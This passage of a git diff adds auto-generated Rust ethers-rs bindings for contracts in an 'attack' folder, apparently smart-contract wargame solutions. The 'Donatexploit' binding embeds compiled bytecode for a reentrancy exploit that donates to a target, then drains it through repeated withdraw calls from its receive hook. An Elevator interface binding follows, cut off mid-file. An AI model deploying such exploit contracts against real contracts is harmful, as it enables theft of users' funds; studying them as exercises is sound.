::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address"), + ), + }, + ], + }), + functions: ::core::convert::From::from([ + ( + ::std::borrow::ToOwned::to_owned("attack"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("attack"), + inputs: ::std::vec![], + outputs: ::std::vec![], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::Payable, + }, + ], + ), + ( + ::std::borrow::ToOwned::to_owned("owner"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("owner"), + inputs: ::std::vec![], + outputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address payable"), + ), + }, + ], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, + }, + ], + ), + ( + ::std::borrow::ToOwned::to_owned("target"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("target"), + inputs: ::std::vec![], + outputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address"), + ), + }, + ], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, + }, + ], + ), + ( + ::std::borrow::ToOwned::to_owned("withdraw"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("withdraw"), + inputs: ::std::vec![], + outputs: ::std::vec![], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, + }, + ], + ), + ]), + events: ::std::collections::BTreeMap::new(), + errors: ::std::collections::BTreeMap::new(), + receive: true, + fallback: false, + } + } + ///The parsed JSON ABI of the contract. + pub static DONATEXPLOIT_ABI: ::ethers::contract::Lazy< + ::ethers::core::abi::Abi, + > = ::ethers::contract::Lazy::new(__abi); + #[rustfmt::skip] + const __BYTECODE: &[u8] = b"`\x80`@R`\x01\x80T`\xFF`\xA0\x1B\x19\x16`\x01`\xA0\x1B\x17\x90U4\x80\x15a\0#W`\0\x80\xFD[P`@Qa\x05.8\x03\x80a\x05.\x839\x81\x81\x01`@R` \x81\x10\x15a\0FW`\0\x80\xFD[PQ`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x90\x81\x163\x17\x90\x91U`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x90\x93\x16\x92\x90\x91\x16\x91\x90\x91\x17\x90Ua\x04\xA9\x80a\0\x85`\09`\0\xF3\xFE`\x80`@R`\x046\x10a\0CW`\x005`\xE0\x1C\x80c<\xCF\xD6\x0B\x14a\x01\x86W\x80c\x8D\xA5\xCB[\x14a\x01\x9DW\x80c\x9E_\xAA\xFC\x14a\x01\xDBW\x80c\xD4\xB89\x92\x14a\x01\xE3Wa\x01\x81V[6a\x01\x81W`\x01T`\x02T`@\x80Q`$\x80\x82\x01\x93\x90\x93R\x81Q\x80\x82\x03\x90\x93\x01\x83R`D\x01\x81R` \x82\x01\x80Q{\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x7F.\x1A}M\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x17\x81R\x90Q\x82Q`\0\x94s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x93\x92\x82\x91\x80\x83\x83[` \x83\x10a\x01\x14W\x80Q\x82R\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xE0\x90\x92\x01\x91` \x91\x82\x01\x91\x01a\0\xD7V[`\x01\x83` \x03a\x01\0\n\x03\x80\x19\x82Q\x16\x81\x84Q\x16\x80\x82\x17\x85RPPPPPP\x90P\x01\x91PP`\0`@Q\x80\x83\x03\x81`\0\x86Z\xF1\x91PP=\x80`\0\x81\x14a\x01vW`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x01{V[``\x91P[PPPP\0[`\0\x80\xFD[4\x80\x15a\x01\x92W`\0\x80\xFD[Pa\x01\x9Ba\x01\xF8V[\0[4\x80\x15a\x01\xA9W`\0\x80\xFD[Pa\x01\xB2a\x02fV[`@\x80Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x92\x16\x82RQ\x90\x81\x90\x03` \x01\x90\xF3[a\x01\x9Ba\x02\x82V[4\x80\x15a\x01\xEFW`\0\x80\xFD[Pa\x01\xB2a\x04WV[`\0Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x163\x14a\x02\x1CW`\0\x80\xFD[`\0\x80T`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x91G\x80\x15a\x08\xFC\x02\x92\x90\x91\x81\x81\x81\x85\x88\x88\xF1\x93PPPP\x15\x80\x15a\x02cW=`\0\x80>=`\0\xFD[PV[`\0Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`\0Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x163\x14a\x02\xA6W`\0\x80\xFD[`\x01T`@\x80Q~6*\x95\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R0`\x04\x82\x01R\x90Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x92\x16\x91\x82\x91b6*\x95\x914\x91`$\x80\x82\x01\x92`\0\x92\x90\x91\x90\x82\x90\x03\x01\x81\x85\x88\x80;\x15\x80\x15a\x03\x1AW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x03.W=`\0\x80>=`\0\xFD[PP`@\x80Q\x7Fp\xA0\x821\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R0`\x04\x82\x01R\x90Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x86\x16\x94Pcp\xA0\x821\x93P`$\x80\x83\x01\x93P` \x92\x82\x90\x03\x01\x81\x86\x80;\x15\x80\x15a\x03\x9DW`\0\x80\xFD[PZ\xFA\x15\x80\x15a\x03\xB1W=`\0\x80>=`\0\xFD[PPPP`@Q=` \x81\x10\x15a\x03\xC7W`\0\x80\xFD[PQ`\x02\x81\x90U`@\x80Q\x7F.\x1A}M\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R`\x04\x81\x01\x92\x90\x92RQs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x83\x16\x91c.\x1A}M\x91`$\x80\x83\x01\x92`\0\x92\x91\x90\x82\x90\x03\x01\x81\x83\x87\x80;\x15\x80\x15a\x04=`\0\xFD[PPPPPV[`\x01Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V\xFE\xA2dipfsX\"\x12 x\xFF\xD4\x96\xC5\x8F{J\xB9\x95.\xD3\xBFd\x86\xF7i\xB1\xB3`7\x0F\xF3S\xDDU\xAC\x84\xE1u.\xA2dsolcC\0\x06\x0C\x003"; + /// The bytecode of the contract. + pub static DONATEXPLOIT_BYTECODE: ::ethers::core::types::Bytes = + ::ethers::core::types::Bytes::from_static(__BYTECODE); + #[rustfmt::skip] + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R`\x046\x10a\0CW`\x005`\xE0\x1C\x80c<\xCF\xD6\x0B\x14a\x01\x86W\x80c\x8D\xA5\xCB[\x14a\x01\x9DW\x80c\x9E_\xAA\xFC\x14a\x01\xDBW\x80c\xD4\xB89\x92\x14a\x01\xE3Wa\x01\x81V[6a\x01\x81W`\x01T`\x02T`@\x80Q`$\x80\x82\x01\x93\x90\x93R\x81Q\x80\x82\x03\x90\x93\x01\x83R`D\x01\x81R` \x82\x01\x80Q{\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x7F.\x1A}M\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x17\x81R\x90Q\x82Q`\0\x94s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x93\x92\x82\x91\x80\x83\x83[` \x83\x10a\x01\x14W\x80Q\x82R\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xE0\x90\x92\x01\x91` \x91\x82\x01\x91\x01a\0\xD7V[`\x01\x83` \x03a\x01\0\n\x03\x80\x19\x82Q\x16\x81\x84Q\x16\x80\x82\x17\x85RPPPPPP\x90P\x01\x91PP`\0`@Q\x80\x83\x03\x81`\0\x86Z\xF1\x91PP=\x80`\0\x81\x14a\x01vW`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x01{V[``\x91P[PPPP\0[`\0\x80\xFD[4\x80\x15a\x01\x92W`\0\x80\xFD[Pa\x01\x9Ba\x01\xF8V[\0[4\x80\x15a\x01\xA9W`\0\x80\xFD[Pa\x01\xB2a\x02fV[`@\x80Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x92\x16\x82RQ\x90\x81\x90\x03` \x01\x90\xF3[a\x01\x9Ba\x02\x82V[4\x80\x15a\x01\xEFW`\0\x80\xFD[Pa\x01\xB2a\x04WV[`\0Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x163\x14a\x02\x1CW`\0\x80\xFD[`\0\x80T`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x91G\x80\x15a\x08\xFC\x02\x92\x90\x91\x81\x81\x81\x85\x88\x88\xF1\x93PPPP\x15\x80\x15a\x02cW=`\0\x80>=`\0\xFD[PV[`\0Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`\0Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x163\x14a\x02\xA6W`\0\x80\xFD[`\x01T`@\x80Q~6*\x95\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R0`\x04\x82\x01R\x90Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x92\x16\x91\x82\x91b6*\x95\x914\x91`$\x80\x82\x01\x92`\0\x92\x90\x91\x90\x82\x90\x03\x01\x81\x85\x88\x80;\x15\x80\x15a\x03\x1AW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x03.W=`\0\x80>=`\0\xFD[PP`@\x80Q\x7Fp\xA0\x821\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R0`\x04\x82\x01R\x90Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x86\x16\x94Pcp\xA0\x821\x93P`$\x80\x83\x01\x93P` \x92\x82\x90\x03\x01\x81\x86\x80;\x15\x80\x15a\x03\x9DW`\0\x80\xFD[PZ\xFA\x15\x80\x15a\x03\xB1W=`\0\x80>=`\0\xFD[PPPP`@Q=` \x81\x10\x15a\x03\xC7W`\0\x80\xFD[PQ`\x02\x81\x90U`@\x80Q\x7F.\x1A}M\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R`\x04\x81\x01\x92\x90\x92RQs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x83\x16\x91c.\x1A}M\x91`$\x80\x83\x01\x92`\0\x92\x91\x90\x82\x90\x03\x01\x81\x83\x87\x80;\x15\x80\x15a\x04=`\0\xFD[PPPPPV[`\x01Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V\xFE\xA2dipfsX\"\x12 x\xFF\xD4\x96\xC5\x8F{J\xB9\x95.\xD3\xBFd\x86\xF7i\xB1\xB3`7\x0F\xF3S\xDDU\xAC\x84\xE1u.\xA2dsolcC\0\x06\x0C\x003"; + /// The deployed bytecode of the contract. + pub static DONATEXPLOIT_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = + ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); + pub struct Donatexploit(::ethers::contract::Contract); + impl ::core::clone::Clone for Donatexploit { + fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } + } + impl ::core::ops::Deref for Donatexploit { + type Target = ::ethers::contract::Contract; + fn deref(&self) -> &Self::Target { &self.0 } + } + impl ::core::ops::DerefMut for Donatexploit { + fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } + } + impl ::core::fmt::Debug for Donatexploit { + fn fmt( + &self, + f: &mut ::core::fmt::Formatter<'_>, + ) -> ::core::fmt::Result { + f.debug_tuple(::core::stringify!(Donatexploit)) + .field(&self.address()) + .finish() + } + } + impl Donatexploit { + /// Creates a new contract instance with the + /// specified `ethers` client at `address`. + /// The contract derefs to a `ethers::Contract` + /// object. + pub fn new>( + address: T, + client: ::std::sync::Arc, + ) -> Self { + Self(::ethers::contract::Contract::new( + address.into(), + DONATEXPLOIT_ABI.clone(), + client, + )) + } + /// Constructs the general purpose `Deployer` + /// instance based on the provided constructor + /// arguments and sends it. Returns a new + /// instance of a deployer that returns an instance + /// of this contract after sending the transaction + /// + /// Notes: + /// - If there are no constructor arguments, you + /// should pass `()` as the argument. + /// - The default poll duration is 7 seconds. + /// - The default number of confirmations is 1 + /// block. + /// + /// + /// # Example + /// + /// Generate contract bindings with `abigen!` and + /// deploy a new contract instance. + /// + /// *Note*: this requires a `bytecode` and `abi` + /// object in the `greeter.json` artifact. + /// + /// ```ignore + /// # async fn deploy(client: ::std::sync::Arc) { + /// abigen!(Greeter, "../greeter.json"); + /// + /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); + /// let msg = greeter_contract.greet().call().await.unwrap(); + /// # } + /// ``` + pub fn deploy( + client: ::std::sync::Arc, + constructor_args: T, + ) -> ::core::result::Result< + ::ethers::contract::builders::ContractDeployer, + ::ethers::contract::ContractError, + > { + let factory = ::ethers::contract::ContractFactory::new( + DONATEXPLOIT_ABI.clone(), + DONATEXPLOIT_BYTECODE.clone().into(), + client, + ); + let deployer = factory.deploy(constructor_args)?; + let deployer = ::ethers::contract::ContractDeployer::new(deployer); + Ok(deployer) + } + ///Calls the contract's `attack` (0x9e5faafc) + /// function + pub fn attack( + &self, + ) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([158, 95, 170, 252], ()) + .expect("method not found (this should never happen)") + } + ///Calls the contract's `owner` (0x8da5cb5b) + /// function + pub fn owner( + &self, + ) -> ::ethers::contract::builders::ContractCall< + M, + ::ethers::core::types::Address, + > { + self.0 + .method_hash([141, 165, 203, 91], ()) + .expect("method not found (this should never happen)") + } + ///Calls the contract's `target` (0xd4b83992) + /// function + pub fn target( + &self, + ) -> ::ethers::contract::builders::ContractCall< + M, + ::ethers::core::types::Address, + > { + self.0 + .method_hash([212, 184, 57, 146], ()) + .expect("method not found (this should never happen)") + } + ///Calls the contract's `withdraw` (0x3ccfd60b) + /// function + pub fn withdraw( + &self, + ) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([60, 207, 214, 11], ()) + .expect("method not found (this should never happen)") + } + } + impl + From<::ethers::contract::Contract> for Donatexploit + { + fn from(contract: ::ethers::contract::Contract) -> Self { + Self::new(contract.address(), contract.client()) + } + } + ///Container type for all input parameters for the + /// `attack` function with signature `attack()` and + /// selector `0x9e5faafc` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + #[ethcall(name = "attack", abi = "attack()")] + pub struct AttackCall; + ///Container type for all input parameters for the + /// `owner` function with signature `owner()` and + /// selector `0x8da5cb5b` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + #[ethcall(name = "owner", abi = "owner()")] + pub struct OwnerCall; + ///Container type for all input parameters for the + /// `target` function with signature `target()` and + /// selector `0xd4b83992` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + #[ethcall(name = "target", abi = "target()")] + pub struct TargetCall; + ///Container type for all input parameters for the + /// `withdraw` function with signature `withdraw()` and + /// selector `0x3ccfd60b` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + #[ethcall(name = "withdraw", abi = "withdraw()")] + pub struct WithdrawCall; + ///Container type for all of the contract's call + #[derive( + Clone, + ::ethers::contract::EthAbiType, + serde::Serialize, + serde::Deserialize, + Debug, + PartialEq, + Eq, + Hash, + )] + pub enum DonatexploitCalls { + Attack(AttackCall), + Owner(OwnerCall), + Target(TargetCall), + Withdraw(WithdrawCall), + } + impl ::ethers::core::abi::AbiDecode for DonatexploitCalls { + fn decode( + data: impl AsRef<[u8]>, + ) -> ::core::result::Result + { + let data = data.as_ref(); + if let Ok(decoded) = + ::decode(data) + { + return Ok(Self::Attack(decoded)); + } + if let Ok(decoded) = + ::decode(data) + { + return Ok(Self::Owner(decoded)); + } + if let Ok(decoded) = + ::decode(data) + { + return Ok(Self::Target(decoded)); + } + if let Ok(decoded) = + ::decode(data) + { + return Ok(Self::Withdraw(decoded)); + } + Err(::ethers::core::abi::Error::InvalidData.into()) + } + } + impl ::ethers::core::abi::AbiEncode for DonatexploitCalls { + fn encode(self) -> Vec { + match self { + Self::Attack(element) => { + ::ethers::core::abi::AbiEncode::encode(element) + } + Self::Owner(element) => { + ::ethers::core::abi::AbiEncode::encode(element) + } + Self::Target(element) => { + ::ethers::core::abi::AbiEncode::encode(element) + } + Self::Withdraw(element) => { + ::ethers::core::abi::AbiEncode::encode(element) + } + } + } + } + impl ::core::fmt::Display for DonatexploitCalls { + fn fmt( + &self, + f: &mut ::core::fmt::Formatter<'_>, + ) -> ::core::fmt::Result { + match self { + Self::Attack(element) => ::core::fmt::Display::fmt(element, f), + Self::Owner(element) => ::core::fmt::Display::fmt(element, f), + Self::Target(element) => ::core::fmt::Display::fmt(element, f), + Self::Withdraw(element) => { + ::core::fmt::Display::fmt(element, f) + } + } + } + } + impl ::core::convert::From for DonatexploitCalls { + fn from(value: AttackCall) -> Self { Self::Attack(value) } + } + impl ::core::convert::From for DonatexploitCalls { + fn from(value: OwnerCall) -> Self { Self::Owner(value) } + } + impl ::core::convert::From for DonatexploitCalls { + fn from(value: TargetCall) -> Self { Self::Target(value) } + } + impl ::core::convert::From for DonatexploitCalls { + fn from(value: WithdrawCall) -> Self { Self::Withdraw(value) } + } + ///Container type for all return fields from the + /// `owner` function with signature `owner()` and + /// selector `0x8da5cb5b` + #[derive( + Clone, + ::ethers::contract::EthAbiType, + ::ethers::contract::EthAbiCodec, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + pub struct OwnerReturn(pub ::ethers::core::types::Address); + ///Container type for all return fields from the + /// `target` function with signature `target()` and + /// selector `0xd4b83992` + #[derive( + Clone, + ::ethers::contract::EthAbiType, + ::ethers::contract::EthAbiCodec, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + pub struct TargetReturn(pub ::ethers::core::types::Address); +} diff --git a/attack/src/abi/elevator.rs b/attack/src/abi/elevator.rs new file mode 100644 index 0000000..7a4761d --- /dev/null +++ b/attack/src/abi/elevator.rs @@ -0,0 +1,328 @@ +pub use elevator::*; +/// This module was auto-generated with ethers-rs Abigen. +/// More information at: +#[allow( + clippy::enum_variant_names, + clippy::too_many_arguments, + clippy::upper_case_acronyms, + clippy::type_complexity, + dead_code, + non_camel_case_types +)] +pub mod elevator { + #[allow(deprecated)] + fn __abi() -> ::ethers::core::abi::Abi { + ::ethers::core::abi::ethabi::Contract { + constructor: ::core::option::Option::None, + functions: ::core::convert::From::from([ + ( + ::std::borrow::ToOwned::to_owned("floor"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("floor"), + inputs: ::std::vec![], + outputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Uint( + 256usize, + ), + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("uint256"), + ), + }, + ], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, + }, + ], + ), + ( + ::std::borrow::ToOwned::to_owned("goTo"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("goTo"), + inputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::borrow::ToOwned::to_owned("_floor"), + kind: ::ethers::core::abi::ethabi::ParamType::Uint( + 256usize, + ), + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("uint256"), + ), + }, + ], + outputs: ::std::vec![], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, + }, + ], + ), + ( + ::std::borrow::ToOwned::to_owned("top"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("top"), + inputs: ::std::vec![], + outputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Bool, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("bool"), + ), + }, + ], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, + }, + ], + ), + ]), + events: ::std::collections::BTreeMap::new(), + errors: ::std::collections::BTreeMap::new(), + receive: false, + fallback: false, + } + } + ///The parsed JSON ABI of the contract. + pub static ELEVATOR_ABI: ::ethers::contract::Lazy< + ::ethers::core::abi::Abi, + > = ::ethers::contract::Lazy::new(__abi); + pub struct Elevator(::ethers::contract::Contract); + impl ::core::clone::Clone for Elevator { + fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } + } + impl ::core::ops::Deref for Elevator { + type Target = ::ethers::contract::Contract; + fn deref(&self) -> &Self::Target { &self.0 } + } + impl ::core::ops::DerefMut for Elevator { + fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } + } + impl ::core::fmt::Debug for Elevator { + fn fmt( + &self, + f: &mut ::core::fmt::Formatter<'_>, + ) -> ::core::fmt::Result { + f.debug_tuple(::core::stringify!(Elevator)) + .field(&self.address()) + .finish() + } + } + impl Elevator { + /// Creates a new contract instance with the + /// specified `ethers` client at `address`. + /// The contract derefs to a `ethers::Contract` + /// object. + pub fn new>( + address: T, + client: ::std::sync::Arc, + ) -> Self { + Self(::ethers::contract::Contract::new( + address.into(), + ELEVATOR_ABI.clone(), + client, + )) + } + ///Calls the contract's `floor` (0x40695363) + /// function + pub fn floor( + &self, + ) -> ::ethers::contract::builders::ContractCall< + M, + ::ethers::core::types::U256, + > { + self.0 + .method_hash([64, 105, 83, 99], ()) + .expect("method not found (this should never happen)") + } + ///Calls the contract's `goTo` (0xed9a7134) + /// function + pub fn go_to( + &self, + floor: ::ethers::core::types::U256, + ) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([237, 154, 113, 52], floor) + .expect("method not found (this should never happen)") + } + ///Calls the contract's `top` (0xfe6dcdba) function + pub fn top( + &self, + ) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([254, 109, 205, 186], ()) + .expect("method not found (this should never happen)") + } + } + impl + From<::ethers::contract::Contract> for Elevator + { + fn from(contract: ::ethers::contract::Contract) -> Self { + Self::new(contract.address(), contract.client()) + } + } + ///Container type for all input parameters for the + /// `floor` function with signature `floor()` and + /// selector `0x40695363` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + #[ethcall(name = "floor", abi = "floor()")] + pub struct FloorCall; + ///Container type for all input parameters for the + /// `goTo` function with signature `goTo(uint256)` and + /// selector `0xed9a7134` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + #[ethcall(name = "goTo", abi = "goTo(uint256)")] + pub struct GoToCall { + pub floor: ::ethers::core::types::U256, + } + ///Container type for all input parameters for the + /// `top` function with signature `top()` and selector + /// `0xfe6dcdba` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + #[ethcall(name = "top", abi = "top()")] + pub struct TopCall; + ///Container type for all of the contract's call + #[derive( + Clone, + ::ethers::contract::EthAbiType, + serde::Serialize, + serde::Deserialize, + Debug, + PartialEq, + Eq, + Hash, + )] + pub enum ElevatorCalls { + Floor(FloorCall), + GoTo(GoToCall), + Top(TopCall), + } + impl ::ethers::core::abi::AbiDecode for ElevatorCalls { + fn decode( + data: impl AsRef<[u8]>, + ) -> ::core::result::Result + { + let data = data.as_ref(); + if let Ok(decoded) = + ::decode(data) + { + return Ok(Self::Floor(decoded)); + } + if let Ok(decoded) = + ::decode(data) + { + return Ok(Self::GoTo(decoded)); + } + if let Ok(decoded) = + ::decode(data) + { + return Ok(Self::Top(decoded)); + } + Err(::ethers::core::abi::Error::InvalidData.into()) + } + } + impl ::ethers::core::abi::AbiEncode for ElevatorCalls { + fn encode(self) -> Vec { + match self { + Self::Floor(element) => { + ::ethers::core::abi::AbiEncode::encode(element) + } + Self::GoTo(element) => { + ::ethers::core::abi::AbiEncode::encode(element) + } + Self::Top(element) => { + ::ethers::core::abi::AbiEncode::encode(element) + } + } + } + } + impl ::core::fmt::Display for ElevatorCalls { + fn fmt( + &self, + f: &mut ::core::fmt::Formatter<'_>, + ) -> ::core::fmt::Result { + match self { + Self::Floor(element) => ::core::fmt::Display::fmt(element, f), + Self::GoTo(element) => ::core::fmt::Display::fmt(element, f), + Self::Top(element) => ::core::fmt::Display::fmt(element, f), + } + } + } + impl ::core::convert::From for ElevatorCalls { + fn from(value: FloorCall) -> Self { Self::Floor(value) } + } + impl ::core::convert::From for ElevatorCalls { + fn from(value: GoToCall) -> Self { Self::GoTo(value) } + } + impl ::core::convert::From for ElevatorCalls { + fn from(value: TopCall) -> Self { Self::Top(value) } + } + ///Container type for all return fields from the + /// `floor` function with signature `floor()` and + /// selector `0x40695363` + #[derive( + Clone, + 